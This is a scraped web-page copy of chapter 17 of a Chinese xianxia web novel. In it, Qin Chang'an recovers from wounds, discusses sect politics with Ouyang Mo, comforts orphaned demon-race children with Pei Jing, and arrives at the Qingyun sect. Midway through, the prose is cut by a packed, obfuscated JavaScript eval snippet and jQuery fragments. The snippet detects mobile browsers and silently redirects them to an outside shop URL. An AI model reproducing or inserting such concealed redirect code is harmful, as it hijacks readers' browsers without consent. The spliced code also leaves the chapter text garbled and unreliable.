默认冷灰
24号文字
方正启体

17. 褚大公子

作者:颂酒本书字数:K更新时间:
    秦常安睡得很香,在床上实打实地躺了一个月,等他能下床时,外面的树叶已红成一片。


    换上青云宗特有的白色校服,刚神清气爽地一脚踏出房门,就听见熟悉的声音在院中响起。


    “怀悯兄,没想到你还善庖厨,这鱼做的,外焦里嫩,色,香,味俱全,真是好厨艺!”


    “欧阳公子谬赞了,这是常安表哥教我的,他的厨艺可是要比我好得多,常安…表哥”裴璟眼睛一亮,连忙起身。


    秦常安摆手阻拦,坐在另一个石凳上,道:“我说,欧阳,你不去你的居所,天天往我们这儿跑像个什么话?”


    欧阳慢条斯理地吃着烤鱼,闻言,拿出巾帕擦擦嘴,道:“秦兄身负重伤,我代表青云宗来看望新弟子,忘尘师伯说了,待你伤好,便随我一同入宗门。”


    秦常安问:“忘尘师伯是谁?”


    欧阳莫道:“青云宗凌霄峰执事长老,也是令尊的师傅。”


    我爹的师傅,那不就是师公吗?!


    不对。秦常安突然意识到一个非常严峻的问题:“你喊忘尘师公为师伯,所以……”


    欧阳莫笑了笑:“我是青云宗现任掌门、玉清天尊的首席弟子。”


    秦常安被这番无形装逼深深震撼到了。


    “不对,青云宗不是以剑修为主吗,可你的剑呢?”


    秦常安上下打量,并没有看见佩剑。


    欧阳莫道:“虽以剑修为主,但不代表没有其他弟子,莫非剑宗就必须要收剑修弟子?若是有弟子受伤,没有医修愈宗门上下内外伤,我们又该如何是好,况且宗门考试没有说只收剑修这一条。”


    秦常安无言以对。


    “所以你找我到底有什么事?”秦常安接过裴璟递来的烤鱼,边吃烤鱼边道。


    “秦兄伤既然已经好了,便速速与我回宗门吧,这几天有其他宗门弟子来我派游学。”


    秦常安嚼着鱼肉,含糊不清道:“又是升学大会,又是游学之旅,掌门师尊也真是够有闲情雅致的。”


    欧阳莫道:“游学每年都会有,唯一奇怪的是四年一届的升仙大会居然提前一年,时间刚好撞上,这次玄天宗的人也来了,派得还是褚旻,提醒一下,褚旻,褚家嫡长子,褚兆的兄长,金丹四品。”


    听到“金丹四品”,秦常安心里一沉。


    原书的战力体系没有详细描写,但总得概况,就是结丹为分水岭,结丹前后的战力天差地别。若是与未结丹之人打,他尚可用肉身强度弥补不足,但与结丹修士对打,对方只需轻轻一拂,他必死无疑。


    并且据他所知,秦嘉行也仅在半年前结丹。而他自己,尚未结丹。


    “玄天宗与青云宗一向不合,他们这次竟然来了,人多热闹,这下可以……”


    欧阳莫喋喋不休地继续说话。秦常安心情无比沉重,打断道:“我有个问题,褚旻褚兆是亲兄弟?”


    欧阳莫回答:“当然。”


    褚旻金丹四品,而褚兆尚未结丹,亲兄弟之间,天赋也是云泥之别。


    秦常安放下手中烤鱼,道:“褚兆还好吗?”


    欧阳莫道:“腿废了,其他倒无大碍。”


    秦常安心想:“悬崖下全是藤条结成的网,想死也死不了,谁知他那么倒霉,居然还是摔断了腿,听天由命富贵在天,他先动的手,便怨不得我。”


    秦常安又问:“顾子理他们无碍吧?”


    欧阳莫道:“无事,伤已痊愈。”


    秦常安道:“那就好,不过最后一关只可活十人是何意味?”


    欧阳莫皱眉:“何来的活十人?”


    秦常安手下一顿。


    欧阳莫继续道:“规矩是忘尘师伯定下的,我看过,没有这一条。”


    秦常安思绪万千。


    有人故意传播虚假消息?


    为什么呢?有何目的?


    难道是魔族的人?


    他故作淡定道:“哦,没有这一条,可能是我听错了。”


    欧阳起身,道:“秦兄何时出发?”


    秦常安看了一眼旁边沉默不语的裴璟,道:“你先稍等片刻,我有事给我表弟安顿。”


    欧阳莫走出院子,秦常安拉起裴璟的手把脉,片刻,又卷起他的袖子,只见白皙的胳膊上几道阴影萦绕,颜色相比之前更重了。


    秦常安皱眉:“又严重了。”


    裴璟嘴唇动了动,道:“谢谢。”


    秦常安有些意外,放下他的手臂,笑着说:“谢什么?”


    “谢你多次出手相助,还为我挡剑,可我的毒越来越严重,你还是不要在为我以身犯险了,干脆别管我………”


    裴璟声音越来越低,他低着头,看不清表情。秦常安躬身凑近,眼睫毛轻轻划过他脸庞。


    “你要怎么谢我?”


    秦常安在耳边轻声询问。


    裴璟脑袋嗡得一下,热浪直冲天灵盖,他捂着耳朵,连忙后退几步,拉开距离:“你…你…你要我怎么谢你!”


    秦常安捧腹大笑,笑得差点流出泪水:“怀悯,你反应好大,莫非你耳朵怕痒,嗯?”说着,他又要靠近几分。


    裴璟语无伦次:“你,你不要过来,正经点!”


    秦常安坐回板凳,也不逗他,笑意浅淡:“只要你好好活的便可,如果你那天恢复记忆了,能记住我的好,我便心满意足了。”


    到时,可别再拿剑捅我了。


    秦常安心里默默补充道。


    裴璟怔在原地。


    “你不是说还有人要救嘛,人呢?”秦常安问。


    *


    裴璟带他来到一座破烂的寺庙里。


    刚走进,便有一群小孩涌上来,叽叽喳喳地说:“怀悯哥哥,怀悯哥哥。”


    其中一个看见裴璟身后的秦常安,如惊弓之鸟“啊”的一声,小孩们齐齐后退,蜷缩在一起,警惕地盯着眼前的白衣男子。


    秦常安很纳闷,自己虽不说帅得人神共愤,但也不至于丑到不堪入目,被人视作洪水猛兽,凶神恶煞,至于这么大的反应吗。


    他下意识理了理衣袍,又放缓了眉眼,尽量让自己看上去温和无害,上前几步。


    “小朋友…”


    那群小孩瑟瑟发抖,抱着裴璟的大腿不放。


    秦常安很是受伤,待看见她们头上的角后,顿悟。


    原来是魔族遗孤。


    世人对魔族偏见颇深,动辄喊打喊杀,鄙夷唾弃,视之为异端邪祟,看她们的反应,自然是经历了许多不好的事情,在世间颠沛流离,受尽冷眼,才会见人就怕,想到这点,他的神色又软了几分,伸手摸了摸其中一个的脑袋,柔声道:“角很好看。”


    众人皆是一愣。


    秦常安掏了掏乾坤袋,摸索半天,从中拿出几颗五彩斑斓的玻璃球。


    “看,好看吗?想不想要?”


    他眼睛亮闪闪的询问。


    其中一个踟蹰半晌,攥着衣角细声细语道:“想要。”


    秦常安将手伸了伸,示意拿。


    手掌上的玻璃球圆润透亮,在微光下流转着细碎的虹彩,像把揉碎了的星光都锁在了里面,干净又好看。


    孩子们怯生生地探头打量,见他神色温和,没半点恶意,才放下戒备,拿起玻璃球欢快地玩去了。


    “很可爱。”秦常安望着那群女孩子,道。


    裴璟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393253|200339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沉默半晌后道:“明明只是一群小孩子,就因为是魔族,就被人拳脚相加。”他手紧紧握成拳头。


    秦常安看见后,淡淡道:“世人偏见,不是一两日能改变的。”


    裴璟垂眸不语。


    “不过,偏见虽暂时改变不了,我们便护着,土积成山,水积成渊,总有一日,流言蜚语会不攻自破,世俗偏见也会淡化。”


    裴璟闻言抬头,见秦常安望着那群孩子们,笑得云淡风轻。


    *


    青云宗外,两道白光闪烁,从中走出两个人来。


    秦常安兴致昂昂,紧紧地盯着欧阳莫指尖的符箓。


    欧阳莫笑着道:“神行符,日行千里。我们到了。”说着,在秦常安垂涎的目光下,将符纸折叠后,收进衣袖里。


    秦常安向前,勾肩搭背道:“欧阳兄,你不厚道,有这么好的东西,竟不早先拿出。”


    欧阳莫道:“神行符为上等符箓,很稀有。”


    秦常安:“你不是很厉害的符修嘛,区区神行符算什么,所以——”


    欧阳莫笑而不语,没有接他的话。


    秦常安觉得自讨没趣,只好作罢。


    也是,符修尚来小气,等我哪日修为到家,画上百张神行符也不成问题。


    二人走过长长的白玉廊,便见云雾缭绕的庭院内熙熙攘攘。


    琳宇金阙,玉阶朱柱,长路两旁尽是瑶草奇花,琼林仙树,仙池中荷花亭亭玉立,粉白花瓣沾着稀碎灵光,漾开一圈圈淡金色水纹。


    往来修士多为锦衣华服,或御剑凌空,或执礼闲谈,衣袂翻飞间灵气流转,一派仙家鼎盛、肃穆祥和之景。


    “那是天璇派弟子萧逸,为人风流不羁,最爱吟诗作乐,但人太过多情,伤过许多仙子的心。”欧阳莫指着远处蓝衣男子道。


    蓝衣男子不知说了什么,逗得身旁的女子轻颦浅笑。


    “那是天衍派的张玥琼,是个不折不扣的打卦痴人,天天捧着书背来背去,但算得卦象从来没准过。”


    秦常安望去,只见张玥琼一手拿书,一手抛着铜钱,嘴里念念有词。


    他收回目光,却意外瞥见一道熟悉的身影。


    “他是谁?”秦常安指着那位紫衣男子道。


    欧阳莫顺着方向望去,有些诧异道:“咦,谢兄,他竟然出关了?”


    “谢兄?”秦常安疑惑。


    “谢时宴,玄崆师伯的得意弟子,真正的剑修天才。”欧阳莫感慨道。


    秦常安挑眉,有些惊讶。欧阳莫说话总是淡淡的,给人一种风平浪静,宠辱不惊的感觉,可介绍谢时宴时,语气中却带着一股欣赏与赞叹。


    “他为什么穿紫色衣服?”


    欧阳莫转头看他:“亲传弟子可自选衣服,不穿校服。”


    秦常安刚想问那你为什么不穿自己的衣服,却瞥见欧阳莫衣服上的花纹与校服上的截然不同。


    校服上的规整肃穆,是宗派统一的云纹剑印,而欧阳莫身上的衣袍,暗纹繁复内敛,针脚细密考究,袖边牡丹暗绣,悄然盛放。


    欧阳莫滔滔不绝地讲述谢砚礼的英雄事迹,二人说得不亦乐乎,秦常安随意抬头,却刚好与主角对视上。


    谢时宴端坐在亭子里,在众人簇拥下,侧目看来,眉眼冷清,目光淡淡,随意一扫,便移了视线。


    欧阳莫没有察觉到目光,自顾自地说:“你因为受伤昏迷,还未去拂烟阁挑选奖品,秦兄,请随我来。”


    秦常安跟在欧阳莫的身后,刚走出庭院,身后突然刮起一股极为凌厉的风。还未等他反应,就被灵力掀飞在地,“铿”的一声,剑停在他的眼前,不足三寸。


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)